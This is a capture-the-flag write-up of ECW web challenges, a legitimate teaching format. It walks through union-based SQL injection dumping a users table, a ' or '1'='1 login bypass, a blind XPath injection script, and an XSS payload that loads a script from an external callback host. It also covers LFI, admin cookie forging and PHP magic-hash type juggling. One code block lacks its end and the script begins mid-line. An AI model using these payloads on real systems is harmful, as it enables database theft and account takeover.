This challenge was a basic SQL injection, let's follow our [methodology](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL injection/MySQL Injection.md) and extract the informations in the database. First we need to extract the columns number of the current "SELECT column1, column2 FROM ..."
{% highlight php%}
1' union select 1,2,3,4,5,6#
{% endhighlight %}
We can clearly see the injection point is located in the 4th columns.
Let's extract the version now
{% highlight php%}
1' union select 1,2,3,version(),5,6#
5.7.17-0ubuntu0.16.04.1 5
{% endhighlight %}
Extract database name
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(0x7c,schema_name,0x7c),5,6 fRoM information_schema.schemata#
3 |information_schema|,|ecw| 5
{% endhighlight %}
This is interesting, there is an ECW database. Let's dig into it by extracting the table name.
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C),5,6 fRoM information_schema.tables wHeRe table_schema="ecw"#
3 |users| 5
{% endhighlight %}
Extract columns name
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C),5,6 fRoM information_schema.columns wHeRe table_name="users"#
That's great now we can do a simple "SELECT" query to get the username and password of every users.
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(password),5,6 fRoM users#
ECW{69d7da73beaab34d6034211c0d848848},
ECW{e0d409de9fa2e61e6635e27fb73cc5e7},
ECW{2455afd815b54a0ce60b73074c3a652c},
ECW{cdf6c1b0ce7b41872a267d66e2b2dfa0},
ECW{8361993d2541062b311e61b0ade994ee},
ECW{420c7523b0a7ba0f8f40f8e98cad3c38},
ECW{77a66a027d20c8ecce920d3c3d8fb2c8},
ECW{03e8d7e2fc14e0a8b4b978f8367e6d3b},
ECW{b55ec992616468307c6cc4154dfd37a3},
ECW{d0c7cc155840d91c17fb3c885320ce1f},
ECW{c18018cb461d3b299bb5c437454abc80}
{% endhighlight %}
Unfortunately there are a lot of flags, we can try them all.. or be a little bit smarter.
Since we can dump the content we can try to export the "comment" section
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(comment,password,0x7c),5,6 fRoM users#
I love french fries and create CTFECW{77a66a027d20c8ecce920d3c3d8fb2c8}|,
{% endhighlight %}
This one looked promising, and we can validate with it.
## Web 100 - Pass Through
At first, I was looking for an SQL injection in order to bypass the login, the following payload worked:
{% highlight php%}
Username:admin
Password:' or '1'='1
Authentification validée. Le mot de passe est le flag.
{% endhighlight %}
It says the "password is the flag", damn we need to extract it with a blind injection. After a lot of tries I discovered it was an XPATH injection instead of an SQL. We will use the string-length to check the size of a string, here we know the size of the username, this will help verify our guess.
{% highlight php%}
' or '1'='1' and string-length(username)=5 and '1'='1
' or '1'='1' and string-length(username)>4 and '1'='1
' or '1'='1' and string-length(password)>40 and '1'='1 NOK
' or '1'='1' and string-length(password)>10 and '1'='1 OK
' or '1'='1' and string-length(password)>20 and '1'='1 OK
' or '1'='1' and string-length(password)>30 and '1'='1 OK
{% endhighlight %}
Now we can script this in order to extract the size of the password, since we know it's >20 and <40.
'password': "' or substring(password,"+str(i)+",1)='"+chr(c)
}
r = requests.post(url, data=payload, cookies = {'session': session}, verify=False ).text
print payload['password']
if not "invalide" in r:
password += chr(c)
print password
break
{% endhighlight %}
With this we get BCPP6f5f5724aa2fa973bb9471746c2cb4a0} which looks like a flag, we can easily correct the first chars : ECW{6f5f5724aa2fa973bb9471746c2cb4a0}
## Web 150 - GoldFish
GoldFish was a Web Application written in PHP, where you can write a "post-it" which will self-destroy after 30sec.
For this challenge I created a user named "glopglopglop" this will be needed for the exploitation ;)
First I tried to exploit an XSS, you could write a "Post" with the following input:
{% highlight php%}
postname: reflected in the url
content : reflected in the page
{% endhighlight %}
The "Post" would be available at "/posts/user/postname" (this URL was found when you submit the same post twice in less than 30sec)
Here is a simple output that triggered the XSS (the payload is from XSSHunter), it was available at https://challenge-ecw.fr/chals/web150/posts/glopglopglop/mymemo
{% highlight php%}
My super memo content!"></textarea></blockquote><scriptsrc=https://[REDACTED].xss.ht></script>
<scriptsrc=https://[REDACTED].xss.ht></script>
{% endhighlight %}
I waited hours and hours, nothing happened..
Then I try to fuzz a little bit the "name" field since we could "rewrite" the URL. I finally managed to find an LFI with the source code reflected in the dashboard inside the memo. Thanks to this we could extract all the source code of the WebApp
The cookie part was interesting, it is decrypting its content with "decryptString". By looking deeper in the generation of the cookie I discovered it was based on the name of the user but the password wasn't part of it.
The "ID" of admin was '1', after replacing our cookie with the forged one we get the following flag:
{% highlight php%}
Well done! This is the super flag : ECW{527007e99d5068963281e660d5fb5a8d}
{% endhighlight %}
## Web 175 - Magic Car
The topic of this challenge was the following text: "Notre nouveau système de réservation de covoiturage a été piraté. Le pirate a ajouté un nouveau formulaire d'authentification et a changé le mot de passe administrateur. Nous avons réussi à retrouver le code source de l'interface, mais nous ne pouvons pas récupérer le service sans les informations d'identification valides.
Aide nous à les retrouver.". We had to find a way to login without a valid username/password. The source code of the challenge was also provided.
{% highlight php%}
<?php
require_once("flag.php");
$sec_pass = "0e413229387827631581229643338212";
if (isset($_POST['username']) && isset($_POST['password'])) {
if (md5($_POST['password'] . $_POST['username']) == $sec_pass){
return $success;
[...]
?>
{% endhighlight %}
So we need to have an MD5 hash equal to 0e413229387827631581229643338212. This is a basic type juggling in PHP, because 0e0123.. is a float representation in PHP we can do the following:
{% highlight php%}
0e123 == 0e456
True
{% endhighlight %}
We want a magic hashed in PHP, it's an hash where the content is only made of integers. WhiteHatSec already done the research for us : https://www.whitehatsec.com/blog/magic-hashes/
{% highlight php%}
<?php
if (hash('md5','240610708',false) == '0') {
print "Matched.n";
}
{% endhighlight %}
We can split the string "240610708" to create a valid authentification.
{% highlight php%}
user:10708
pass:2406
{% endhighlight %}
Then we get the flag ECW{846badef298374cc62934fdfdeee2341}
This challenge reminded me of one I created for the ESE 2016, check out the write-up ! ;)